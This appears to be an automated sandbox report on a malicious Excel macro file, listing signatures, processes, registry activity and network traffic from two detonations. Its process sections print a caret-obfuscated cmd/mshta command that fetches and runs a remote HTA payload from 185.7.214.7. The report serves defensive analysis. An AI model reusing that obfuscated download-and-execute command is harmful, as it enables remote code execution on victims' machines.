Malware Analysis Report

2025-01-22 16:12

Sample ID 241105-tjh4bstkh1
Target 6612226416428f5c6c152fb19fc70c5c
SHA256 343f7bf62b18395da157eb8592d3c8aed5e2d8bbc433633ef72ca650c2379573
Tags
macro xlm discovery
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

343f7bf62b18395da157eb8592d3c8aed5e2d8bbc433633ef72ca650c2379573

Threat Level: Known bad

The file 6612226416428f5c6c152fb19fc70c5c was found to be: Known bad.

Malicious Activity Summary

macro xlm discovery

Process spawned unexpected child process

Blocklisted process makes network request

Suspicious Office macro

System Location Discovery: System Language Discovery

Checks processor information in registry

Modifies Internet Explorer settings

Suspicious behavior: AddClipboardFormatListener

Suspicious use of WriteProcessMemory

Enumerates system info in registry

Suspicious use of SetWindowsHookEx

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-11-05 16:05

Signatures

Suspicious Office macro

macro xlm
Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-11-05 16:05

Reported

2024-11-05 16:07

Platform

win7-20240729-en

Max time kernel

118s

Max time network

119s

Command Line

"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\f46200d10671958e27b019f1501f27f33ec5c0e0aaf34b8a526f6aeb8cd1662e.xls

Signatures

Process spawned unexpected child process

Description Indicator Process Target
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process N/A C:\Windows\SysWOW64\cmd.exe C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\mshta.exe N/A
N/A N/A C:\Windows\SysWOW64\mshta.exe N/A

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\cmd.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\mshta.exe N/A

Enumerates system info in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A

Modifies Internet Explorer settings

adware spyware
Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Internet Explorer\Main C:\Windows\SysWOW64\mshta.exe N/A

Suspicious behavior: AddClipboardFormatListener

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A

Processes

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE

"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\f46200d10671958e27b019f1501f27f33ec5c0e0aaf34b8a526f6aeb8cd1662e.xls

C:\Windows\SysWOW64\cmd.exe

cmd /c m^sh^t^a h^tt^p^:/^/185.7.214.7/ve/ve.html

C:\Windows\SysWOW64\mshta.exe

mshta http://185.7.214.7/ve/ve.html

Network

Country Destination Domain Proto
RU 185.7.214.7:80 tcp
RU 185.7.214.7:80 tcp

Files

memory/2112-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

memory/2112-1-0x000000007275D000-0x0000000072768000-memory.dmp

memory/2112-2-0x000000007275D000-0x0000000072768000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-11-05 16:05

Reported

2024-11-05 16:07

Platform

win10v2004-20241007-en

Max time kernel

135s

Max time network

148s

Command Line

"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\f46200d10671958e27b019f1501f27f33ec5c0e0aaf34b8a526f6aeb8cd1662e.xls"

Signatures

Process spawned unexpected child process

Description Indicator Process Target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process N/A C:\Windows\SYSTEM32\cmd.exe C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\system32\mshta.exe N/A

Checks processor information in registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A

Enumerates system info in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A

Suspicious behavior: AddClipboardFormatListener

Description Indicator Process Target
N/A N/A C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 4200 wrote to memory of 2032 N/A C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE C:\Windows\SYSTEM32\cmd.exe
PID 4200 wrote to memory of 2032 N/A C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE C:\Windows\SYSTEM32\cmd.exe
PID 2032 wrote to memory of 4452 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\system32\mshta.exe
PID 2032 wrote to memory of 4452 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\system32\mshta.exe

Processes

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE

"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\f46200d10671958e27b019f1501f27f33ec5c0e0aaf34b8a526f6aeb8cd1662e.xls"

C:\Windows\SYSTEM32\cmd.exe

cmd /c m^sh^t^a h^tt^p^:/^/185.7.214.7/ve/ve.html

C:\Windows\system32\mshta.exe

mshta http://185.7.214.7/ve/ve.html

Network

Country Destination Domain Proto
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp
US 8.8.8.8:53 241.150.49.20.in-addr.arpa udp
US 8.8.8.8:53 74.209.201.84.in-addr.arpa udp
US 8.8.8.8:53 roaming.officeapps.live.com udp
GB 52.109.28.47:443 roaming.officeapps.live.com tcp
US 8.8.8.8:53 18.89.109.52.in-addr.arpa udp
US 8.8.8.8:53 47.28.109.52.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
RU 185.7.214.7:80 tcp
US 8.8.8.8:53 23.159.190.20.in-addr.arpa udp
US 8.8.8.8:53 154.239.44.20.in-addr.arpa udp
US 8.8.8.8:53 24.73.42.20.in-addr.arpa udp
US 8.8.8.8:53 56.163.245.4.in-addr.arpa udp
US 8.8.8.8:53 241.42.69.40.in-addr.arpa udp
US 8.8.8.8:53 88.210.23.2.in-addr.arpa udp
US 8.8.8.8:53 11.227.111.52.in-addr.arpa udp
US 8.8.8.8:53 55.36.223.20.in-addr.arpa udp
US 8.8.8.8:53 57.169.31.20.in-addr.arpa udp
US 8.8.8.8:53 tse1.mm.bing.net udp
US 150.171.27.10:443 tse1.mm.bing.net tcp
US 150.171.27.10:443 tse1.mm.bing.net tcp
US 150.171.27.10:443 tse1.mm.bing.net tcp
US 150.171.27.10:443 tse1.mm.bing.net tcp
US 150.171.27.10:443 tse1.mm.bing.net tcp

Files

memory/4200-1-0x00007FFD45D50000-0x00007FFD45D60000-memory.dmp

memory/4200-0-0x00007FFD45D50000-0x00007FFD45D60000-memory.dmp

memory/4200-2-0x00007FFD45D50000-0x00007FFD45D60000-memory.dmp

memory/4200-3-0x00007FFD85D6D000-0x00007FFD85D6E000-memory.dmp

memory/4200-4-0x00007FFD45D50000-0x00007FFD45D60000-memory.dmp

memory/4200-8-0x00007FFD85CD0000-0x00007FFD85EC5000-memory.dmp

memory/4200-10-0x00007FFD85CD0000-0x00007FFD85EC5000-memory.dmp

memory/4200-9-0x00007FFD85CD0000-0x00007FFD85EC5000-memory.dmp

memory/4200-15-0x00007FFD85CD0000-0x00007FFD85EC5000-memory.dmp

memory/4200-14-0x00007FFD85CD0000-0x00007FFD85EC5000-memory.dmp

memory/4200-16-0x00007FFD434F0000-0x00007FFD43500000-memory.dmp

memory/4200-17-0x00007FFD434F0000-0x00007FFD43500000-memory.dmp

memory/4200-18-0x00007FFD85CD0000-0x00007FFD85EC5000-memory.dmp

memory/4200-21-0x00007FFD85CD0000-0x00007FFD85EC5000-memory.dmp

memory/4200-20-0x00007FFD85CD0000-0x00007FFD85EC5000-memory.dmp

memory/4200-19-0x00007FFD85CD0000-0x00007FFD85EC5000-memory.dmp

memory/4200-13-0x00007FFD85CD0000-0x00007FFD85EC5000-memory.dmp

memory/4200-12-0x00007FFD85CD0000-0x00007FFD85EC5000-memory.dmp

memory/4200-11-0x00007FFD85CD0000-0x00007FFD85EC5000-memory.dmp

memory/4200-6-0x00007FFD45D50000-0x00007FFD45D60000-memory.dmp

memory/4200-7-0x00007FFD85CD0000-0x00007FFD85EC5000-memory.dmp

memory/4200-5-0x00007FFD85CD0000-0x00007FFD85EC5000-memory.dmp

memory/4200-32-0x00007FFD85CD0000-0x00007FFD85EC5000-memory.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms

MD5 6f709a08f9e61e4e8dbfc4027dacf376
SHA1 41e746061e92d7dbb0e3d547d2d6a616582eeae3
SHA256 346f18189fc5e2908b55de9ac8e668c54e35e1959d69b3bc8706d49d2e12d58b
SHA512 6efaf72fc6b26821a0393cd08415b3651c8d781d034604b899cf7f9fdb881bdc9bb4d63f464c304eed608fefd85d4243692f02c6e14a0a0d5272084f2d63a34f